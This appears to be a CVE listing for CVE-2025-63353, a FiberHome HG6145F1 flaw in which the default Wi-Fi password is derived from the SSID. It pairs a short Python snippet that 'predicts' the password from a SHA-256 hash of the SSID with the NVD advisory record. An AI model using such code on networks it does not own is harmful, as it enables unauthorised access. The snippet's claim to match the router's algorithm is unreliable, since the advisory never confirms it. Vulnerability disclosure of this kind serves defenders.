CVE-2025-63353

import hashlib def predict_default_password(ssid): # 使用与路由器相同的哈希算法从SSID生成密码 hash_obj = hashlib.sha256(ssid.encode()).hexdigest() return hash_obj[:16] # 返回前16个字符作为密码 # 示例：获取Wi-Fi网络名称后预测密码 ssid = "FiberHome_5G_ABCD" password = predict_default_password(ssid) print(f"预测的默认密码: {password}")

{"cve": {"id": "CVE-2025-63353", "sourceIdentifier": "[email protected]", "published": "2025-11-12T16:15:36.877", "lastModified": "2025-12-31T16:52:00.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in FiberHome GPON ONU HG6145F1 RP4423 allows the device's factory default Wi-Fi password (WPA/WPA2 pre-shared key) to be predicted from the SSID. The device generates default passwords using a deterministic algorithm that derives the router passphrase from the SSID, enabling an attacker who can observe the SSID to predict the default password without authentication or user interaction."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fiberhome:hg6145f1_firmware:rp4423:*:*:*:*:*:*:*", "matchCriteriaId": "B68E84B5-2FA9-45C0-8658-39410255B3A6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fiberhome:hg6145f1:-:*:*:*:*:*:*:*", "matchCriteriaId": "00C7C3CF-1C86-4F48-AA7B-4E1330399E95"}]}]}], "references": [{"url": "https://github.com/hanianis/CVE-2025-63353", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://medium.com/@hanianis.bouzid/fiberhome-gpon-onu-model-hg6145f1-router-predictable-wifi-passwords-and-real-risks-d8e54da385d3", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}